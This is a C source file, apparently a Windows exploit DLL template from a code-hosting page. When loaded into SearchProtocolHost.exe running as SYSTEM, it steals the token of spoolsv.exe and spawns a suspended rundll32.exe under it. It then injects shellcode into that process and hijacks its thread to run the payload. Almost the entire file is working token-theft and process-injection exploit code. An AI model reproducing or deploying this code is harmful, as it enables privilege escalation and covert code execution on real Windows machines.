242 lines
5.7 KiB
C
242 lines
5.7 KiB
C
#include <windows.h>
|
|
#include <sddl.h>
|
|
#include <tchar.h>
|
|
#include <tlhelp32.h>
|
|
#include <userenv.h>
|
|
|
|
#include "template.h"
|
|
|
|
void ExecutePayload(HANDLE hDll);
|
|
|
|
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
|
|
switch (dwReason) {
|
|
case DLL_PROCESS_ATTACH:
|
|
ExecutePayload(hDll);
|
|
break;
|
|
|
|
case DLL_PROCESS_DETACH:
|
|
break;
|
|
|
|
case DLL_THREAD_ATTACH:
|
|
break;
|
|
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
|
|
int result;
|
|
|
|
if (strlen(szStr) < strlen(szSuffix)) {
|
|
return FALSE;
|
|
}
|
|
if (bCaseSensitive) {
|
|
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
|
}
|
|
else {
|
|
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
|
}
|
|
return result == 0;
|
|
}
|
|
|
|
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
|
|
HANDLE hToken;
|
|
DWORD dwLength = 0;
|
|
TOKEN_USER *tuUser = NULL;
|
|
SIZE_T szSid = 0;
|
|
|
|
*pSid = NULL;
|
|
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
|
|
return FALSE;
|
|
}
|
|
|
|
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
|
|
tuUser = (TOKEN_USER *)malloc(dwLength);
|
|
if (!tuUser) {
|
|
return FALSE;
|
|
}
|
|
|
|
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
|
|
free(tuUser);
|
|
return FALSE;
|
|
}
|
|
|
|
szSid = GetLengthSid(tuUser->User.Sid);
|
|
*pSid = LocalAlloc(LPTR, szSid);
|
|
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
|
|
LocalFree(*pSid);
|
|
*pSid = NULL;
|
|
}
|
|
|
|
free(tuUser);
|
|
CloseHandle(hToken);
|
|
return *pSid != NULL;
|
|
}
|
|
|
|
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
|
|
PSID pTestSid = NULL;
|
|
PSID pTargetSid = NULL;
|
|
|
|
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
|
|
return FALSE;
|
|
}
|
|
|
|
if (!GetProcessSid(hProc, &pTestSid)) {
|
|
LocalFree(pTargetSid);
|
|
return FALSE;
|
|
}
|
|
|
|
*pbResult = EqualSid(pTestSid, pTargetSid);
|
|
LocalFree(pTargetSid);
|
|
LocalFree(pTestSid);
|
|
return TRUE;
|
|
}
|
|
|
|
DWORD FindProcessId(LPCTSTR szProcessName) {
|
|
HANDLE hProcessSnap;
|
|
PROCESSENTRY32 pe32;
|
|
DWORD result = 0;
|
|
|
|
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
|
return 0;
|
|
}
|
|
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
if (!Process32First(hProcessSnap, &pe32)) {
|
|
CloseHandle(hProcessSnap);
|
|
return 0;
|
|
}
|
|
|
|
do {
|
|
if (!strcmp(szProcessName, pe32.szExeFile)) {
|
|
result = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
} while (Process32Next(hProcessSnap, &pe32));
|
|
CloseHandle(hProcessSnap);
|
|
return result;
|
|
}
|
|
|
|
HANDLE GetPayloadToken(void) {
|
|
HANDLE hTokenHandle = NULL;
|
|
HANDLE hProcessHandle = NULL;
|
|
BOOL bIsSystem = FALSE;
|
|
DWORD dwPid = 0;
|
|
CHAR Path[MAX_PATH + 1];
|
|
|
|
ZeroMemory(Path, sizeof(Path));
|
|
GetModuleFileNameA(NULL, Path, MAX_PATH);
|
|
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
|
|
return NULL;
|
|
}
|
|
/* loaded into the context of SearchProtocolHost.exe */
|
|
|
|
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
|
|
return NULL;
|
|
}
|
|
/* and running as NT_AUTHORITY SYSTEM */
|
|
|
|
dwPid = FindProcessId("spoolsv.exe");
|
|
if (!dwPid) {
|
|
return NULL;
|
|
}
|
|
|
|
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
|
|
if (!hProcessHandle) {
|
|
return NULL;
|
|
}
|
|
|
|
bIsSystem = FALSE;
|
|
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
|
|
return NULL;
|
|
}
|
|
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
|
|
|
|
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
|
|
CloseHandle(hProcessHandle);
|
|
return hTokenHandle;
|
|
}
|
|
|
|
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
|
|
/* wait for the process to exit or 10 seconds before cleaning up */
|
|
WaitForSingleObject(pExploitData->hProcess, 10000);
|
|
CloseHandle(pExploitData->hProcess);
|
|
CloseHandle(pExploitData->hMutex);
|
|
|
|
/* this does not return */
|
|
FreeLibraryAndExitThread(pExploitData->hModule, 0);
|
|
return 0;
|
|
}
|
|
|
|
void ExecutePayload(HANDLE hDll) {
|
|
PROCESS_INFORMATION pi;
|
|
STARTUPINFO si;
|
|
CONTEXT ctx;
|
|
LPVOID ep;
|
|
SECURITY_ATTRIBUTES MutexAttributes;
|
|
SIZE_T dwBytesWritten = 0;
|
|
PEXPLOIT_DATA pExploitData = NULL;
|
|
HANDLE hToken;
|
|
|
|
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
|
|
if (!pExploitData) {
|
|
return;
|
|
}
|
|
|
|
/* keep a reference to the module for synchronization purposes */
|
|
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
|
|
|
|
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
|
|
MutexAttributes.nLength = sizeof(MutexAttributes);
|
|
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
|
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
|
|
if (!pExploitData->hMutex) {
|
|
return;
|
|
}
|
|
|
|
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
|
CloseHandle(pExploitData->hMutex);
|
|
return;
|
|
}
|
|
|
|
if (GetLastError() == ERROR_ACCESS_DENIED) {
|
|
CloseHandle(pExploitData->hMutex);
|
|
return;
|
|
}
|
|
|
|
hToken = GetPayloadToken();
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
|
|
/* start up the payload in a new process */
|
|
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
|
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
|
|
GetThreadContext(pi.hThread, &ctx);
|
|
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
|
|
if (dwBytesWritten == SCSIZE) {
|
|
|
|
#ifdef _WIN64
|
|
ctx.Rip = (DWORD64)ep;
|
|
#else
|
|
ctx.Eip = (DWORD)ep;
|
|
#endif
|
|
|
|
SetThreadContext(pi.hThread, &ctx);
|
|
ResumeThread(pi.hThread);
|
|
|
|
CloseHandle(pi.hThread);
|
|
pExploitData->hProcess = pi.hProcess;
|
|
}
|
|
}
|
|
|
|
if (hToken) {
|
|
CloseHandle(hToken);
|
|
}
|
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
|
|
}
|